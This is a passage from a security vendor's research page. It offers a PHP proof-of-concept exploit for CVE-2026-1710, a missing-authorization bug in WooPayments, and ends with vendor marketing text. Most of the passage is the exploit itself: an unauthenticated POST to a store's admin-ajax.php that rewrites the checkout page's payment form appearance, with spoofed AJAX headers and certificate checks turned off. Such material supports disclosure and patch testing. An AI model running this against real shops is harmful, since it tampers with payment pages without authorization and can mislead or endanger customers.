// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1710 - WooPayments <= 10.5.1 - Missing Authorization to Unauthenticated Plugin Settings Update via save_upe_appearance_ajax

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// Stripe Elements appearance configuration to inject
$appearance_config = [
    'theme' => 'stripe',
    'variables' => [
        'colorPrimary' => '#ff0000', // Change primary color to red
        'colorBackground' => '#000000', // Change background to black
        'colorText' => '#ffffff', // Change text to white
    ],
    'rules' => [
        '.Input' => [
            'border' => '5px solid #00ff00', // Add thick green border
        ],
    ],
];

$payload = [
    'action' => 'wcpay_save_upe_appearance',
    'appearance' => json_encode($appearance_config),
    'location' => 'checkout', // Can be 'checkout', 'add_payment_method', or 'blocks_checkout'
    'locale' => 'en',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
    'Accept: application/json',
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    $response_data = json_decode($response, true);
    if (isset($response_data['success']) && $response_data['success'] === true) {
        echo "[+] SUCCESS: Appearance settings updated via unauthenticated request.n";
        echo "    Response: " . print_r($response_data, true) . "n";
        
        // Verify the transient was set
        $transient_key = 'wcpay_upe_appearance';
        echo "[+] Check transient '$transient_key' in database to confirm modification.n";
    } else {
        echo "[-] FAILED: Request succeeded but returned error.n";
        echo "    Response: " . $response . "n";
    }
} else {
    echo "[-] FAILED: HTTP $http_code received.n";
    echo "    Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School